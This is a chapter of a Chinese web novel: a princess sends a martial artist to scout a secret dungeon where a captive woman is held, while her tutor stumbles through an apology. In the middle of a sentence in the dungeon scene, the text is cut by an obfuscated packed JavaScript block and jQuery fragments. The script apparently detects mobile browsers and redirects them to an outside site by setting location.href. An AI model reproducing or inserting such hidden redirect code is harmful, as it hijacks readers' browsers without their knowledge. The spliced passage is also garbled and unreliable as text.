14. 第 14 章

作品:《攻略时认错官配怎么办

    秋止雾先回了房中一趟,将这本经文收好才动身去找冉远影。


    她来时,只见那红袍少年正倚在连廊树荫下闭眼小憩。


    她踮脚摘了一片叶子,放缓脚步,静悄悄走过去,绿叶尖儿正要落到人脸上。


    冉远影倏然睁眼,右手擒住她白皙皓腕。那片叶子脱手落下,也被他左手接住,呈在秋止雾眼前。


    只见他嘴角一勾,扯出个略带嘲讽的笑:“公主,当心啊。”


    秋止雾气呼呼的从他手中挣开,手背打掉叶子,朝屋里走去:“进来,有事找你。”


    “哦?是找我,还是求我?”冉远影一抖袍裾尘土,大步跨进屋内,边关上房门边说道。


    秋止雾眉头皱起,坐到桌旁看他:“啧,自然是与你商议要事。冉公子,可否晚上帮我去寻个人。”


    “明白了。此事需要涉险,得要武功高强之人。那便是求我。”冉远影神色飞扬,面上挂着个颇得意地笑。


    “你去不去?”


    不知为何,秋止雾对他并没有多少耐心。或许是他从一开始就表现得太有目的,让人无法安心。


    “公主,这可不是求人的态度。”冉远影耸耸肩,抱臂绕到墙边木案旁,倚坐下来。


    “你……好嚣张的气焰。”


    他感受到人怒意,却若无其事的看了看指尖,吹了口气,心不在焉似的:“没办法,谁让这些人里只有我会武功。哦对了,还有东方烁,公主也可以去找他啊。”


    让东方烁去看他被囚禁的小姨!?没准还得给他解释,其母亲有磨镜之好的事。


    除非秋止雾疯了。


    她眯起眼睛,重重叹一口气,皮笑肉不笑,将两颊的肉都挤到苹果肌上。


    “求您,少年魁首,武学至高,天下第一,江湖……”


    “行行行。”还没等她说完,便被人抬手打断。“公主这一脸的不情愿,罢了罢了。什么事?”


    “司府祠堂,内有暗门,通地牢。想让冉公子进去看看,里面的人怎么样了。”秋止雾几个指甲在桌上来回敲点,发出声响。


    冉远影闻言挑眉:“是什么人?”


    “事成之后,自会告知。”她手上动作一滞。


    “祠堂有无府兵把守,地牢入口在什么方位,有无守卫?”


    秋止雾摇摇头:“都不知道。但这才能体现冉公子的过人之处不是?”


    冉远影眼皮一沉,指尖轻轻点着手臂,似在盘算什么,沉默半晌才说道:“今夜丑时请公主在房中等候,我来告知结果。”


    晚上众人同司元帅一道用过晚饭,秋止雾对他心怀芥蒂,坐的很远。并且她决定晾一晾容渊,席间对他也颇为冷淡,连常缨都看出,二人闹了不快。


    不多时,夜色悄然而至。白云翻出墨色,唯有清冷月华垂悬,装点皎皎光辉。


    秋止雾房门外出现个高挑纤长的身影,他叩了叩门,低声轻唤:“公主。”


    容渊怎么会来!?


    秋止雾心中颇有些惊讶,暗想是不是今晚这欲擒故纵之法生效了。


    但她面上还是佯作不满,也不开门,语气平平道:“师父可有事?”


    “无事。公主若不便,明日说也不迟。”


    “诶!?”秋止雾心中暗骂他怎么也不坚持坚持,没耐心。嘴上却不忘将人赶忙叫住,“师父进来吧。”


    容渊推开门那刻,一轮月影正好打在他背上。他颀长如玉,发梢在清风中微微扬起,冠中玉簪素雅温润,将人衬得宛若上仙下凡。


    其实他只需呼吸,便是巧妙运用了美男计。


    秋止雾轻咳了两声,索性把头撇过去不看他。


    容渊却以为她还在怄气,站定在门口,也不敢坐下。任由房中静默半晌,他才开口:“抱歉。”


    低沉嗓音如同电流一般打在秋止雾肌肤上,激起一阵寒颤。


    虽然她心中知晓,他大抵是来道歉的。但是真听到那一刻,心中惊讶仍不少于容渊求她那天。


    还没等她想好说什么,只听容渊又开口道:“公主说得对,我应当承认,人是会变的。我今日所言,公主不必放在心上。”


    秋止雾注意到,容渊说话时,有一滴汗珠顺着鬓角滑下来,挂在下颌骨处,好似有些紧张。


    这次与平常很不同,明明她是坐着那个,可低位者却是容渊。


    她嘴角扯出淡淡笑意,直直盯上人眸底。


    “师父为何要道歉?”


    屋内烛火盈盈,映在秋止雾眸中,使之目光如炬,似能将他包裹吞噬。


    容渊约有一瞬怔神。


    他不知道。


    自下午人走后,那句“师父不该带着成见看我”,反复萦绕在容渊耳畔,只要一闲下来,就会响起。如同心魔梦魇般纠缠不休。


    他幽幽叹一口气,将头埋下,盯着桌布花纹低语:“怕你受不住打击,又变回从前那副愚蠢模样。”


    “师父,你说谎。你是怕我伤心对吗?”秋止雾抱臂撑在桌上,眸光灼灼闪烁,话语步步紧逼。


    容渊耳尖红的发烫,呼吸也愈发急促起来。是这间房太小了,闷得慌。他喉结一滚,一时语塞。


    秋止雾继续乘胜追击。


    “师父,你喜欢我吗?”


    容渊猛抬头,眸中盛满惊讶,颈间青筋骤起。他倒吸一口冷气,沉吟半晌,羞恼吐出一句。


    “看来你还是没变,喜欢胡言乱语。”


    随后他慌乱遁走,步履飞快,发间玉簪乱摇,连带着衣袂翻涌不止。


    入夜晚风清凉,可他只觉得周身燥热难耐。


    最要紧的是——这个问题的答案,他也不知道。


    如果是从前,秋止雾问出这个问题,他只会轻蔑一笑,转身离开。可不知从何时起,容渊发觉自己的情绪竟能被她牵动,甚至受制于人。


    回房后,容渊将壶中茶水昂头饮尽,晶莹水珠挂在他唇瓣上,更添朱红颜色。他尤嫌不够,只得坐在桌前扯了扯衣襟,贪婪的感受着徐徐晚风吹拂。


    一向冷静自持的他,竟也渐渐失态了。


    夜晚终究归于寂静,除却鸣蝉三两,几乎再无声响。


    司府祠堂在后院深处,门口有两家丁看守。他们也困顿不堪,眯着眼睛打起盹来。


    冉远影黑衣覆面,趁人不备,从墙根翻进祠堂院中。


    大殿内空旷无人,却灯火通明。成排的灵位,在地上倒影成一个小山包,乍看下有些瘆人。


    冉远影顺着墙根摸索敲击,终于摸出左面墙体空洞,背后应当另有空间,只需找到开启密室的机关即可。


    他环视祠堂陈设,视线最终落在桌案两侧的小麒麟上,借着灯火,他发现其中一个锃光瓦亮,而另一个略显暗淡。


    他走过去摆弄,发现较亮那个居然可以拿起来,而下面赫然是一道拉环。他伸出手一拉,左侧暗门缓缓打开,一条向下的阶梯随即呈在他眼前。


    冉远影拿着火折子下去,越往下走越是阴暗潮湿。在这样的环境里,他也逐渐感到浑身不自在。


    他在黑暗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171207|180676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中摸索前行许久,一根火折子的微弱光亮根本于事无补,直至眼前出现另一道石门。


    他一拧机关打开那刻,耳畔骤然响起一阵空灵女声。


    “你是谁?”


    那声音虚弱不堪,回荡在空旷密室中,惊得冉远影打了个寒颤。


    他循声照过去,下一幕,差点没吓得他把手中火折子丢掉!


    只见一个面色惨白,头发散乱的女子贴在他脸前,目光空洞无神,但眼白里尽是红血丝。她整张脸瘦到两腮凹陷,没有一丝血色,身形瘦骨嶙峋,脚步虚浮,如同鬼魅般游走。


    《山海经》中的精怪也不过如此。


    冉远影仔细看去,才发现她衣料整洁如新,站在地上与常人无异,只是有一只手被铁链拴在墙上。


    他长舒了一口气,才缓缓说道:“有人派我来救你出去,你怎么样?”


    石室中有微弱烛火,陈设如同一个小房间,桌案床榻一应俱全。那根铁链也很长,足以让那女子在这间房内行动自如。


    她上下打量了他一眼,轻哼出声:“我?还活着而已。谁派你来的?”


    冉远影想着,尚且不知此人是谁,还是不宜暴露身份为好。他声音冷峻:“我们不问贵客姓名。”


    “又是醉霄宫的人么?”女子声音虚浮,眼中却有些欣喜。


    “你知道醉霄宫?”


    “回去吧,这些年也不是没试过,醉霄宫没人能近得了那老东西的身。你,应当也没这个本事。回去告诉她,我很好,走吧。”那女子退步回桌前坐下,眨眼间落下一行清泪,笑容苦涩。


    “你是说,司家家主?为何要近他的身?”冉远影有些不解。


    那女子晃了晃腕上铁链,他便当即明白,钥匙应在司家家主身上。


    冉远影点头会意,说道:“我先回去禀明情况。过几日再来救你出去,保重。”


    他的身影愈走愈远,消失于黑暗之中。走出密室时,他捎带熄灭手中火苗,将祠堂一切复位成原本样貌,又蹑手蹑脚翻回后院。


    此时已至丑时六刻,冉远影还是先回了趟自己卧房将衣服换下,随后才轻叩了叩秋止雾房门。


    容渊走后,秋止雾原本想着再读读那本《楞严》,但没一会儿便趴在桌上睡着了。


    她迷迷糊糊睁开眼,看清门前身影,醒了醒神,赶忙倒了两杯茶水,低声说道:“进来吧。”


    他甫一进去,秋止雾便往他面前推了一盏茶,示意人坐下:“可见到人了?”


    “是位女子。看不清年龄,面若枯骨,模样可怖,她是谁?”冉远影抿了一口茶,面色有些凝重。


    秋止雾听闻其处境,不免皱了下眉。


    “你可曾听过,司二小姐?”


    “难怪,她问我可是醉霄宫的人。”冉远影低头沉思片刻,继续道,“那间地牢虽昏暗,但陈设整洁,且有通风,想必是时常有人来清扫更换。”


    “既如此,又为何要将她囚在那里?”


    秋止雾叹惋的摇摇头:“这个问题,需得我明日进宫一趟才知道。先不说这个,她好救吗,你有几成把握?”


    冉远影忽而扯出个不屑的笑:“她手被拴着,铁链钥匙在司元帅身上,硬碰硬虽有胜算,却并不是最好的法子。若公主不想惊动太多人,最好是将那钥匙骗过来。这事,有个人可以。”


    他话落抬眸,眼中光芒熠熠,尽显狡黠。而秋止雾也明白他所言,脑中浮现出那少年的影子。


    偷钥匙的事由东方烁来做,确实最合适不过。